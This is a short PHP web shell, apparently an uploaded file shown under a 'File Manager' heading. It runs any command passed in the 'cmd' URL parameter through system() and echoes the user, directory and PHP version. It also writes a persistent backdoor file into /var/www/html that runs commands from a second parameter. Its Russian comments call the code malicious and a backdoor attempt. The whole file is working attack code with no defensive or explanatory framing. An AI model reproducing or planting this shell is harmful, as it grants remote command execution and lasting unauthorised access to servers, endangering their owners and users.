📁 File Manager - Uploaded Files

<?php
echo "<h2>Remote Shell from Malicious Server</h2>";

if(isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    echo "<h3>Executing: $cmd</h3>";
    echo "<pre>";
    system($cmd);
    echo "</pre>";
} else {
    echo "Malicious shell is ready!";
    echo "<br>Use ?cmd=whoami to execute commands";
}

// Дополнительный вредоносный код
echo "<h3>System Info:</h3>";
echo "PHP: " . phpversion() . "<br>";
echo "User: " . shell_exec('whoami') . "<br>";
echo "Directory: " . shell_exec('pwd') . "<br>";

// Попытка создать бэкдор
file_put_contents('/var/www/html/backdoor.php', '<?php system($_GET["c"]); ?>');
?>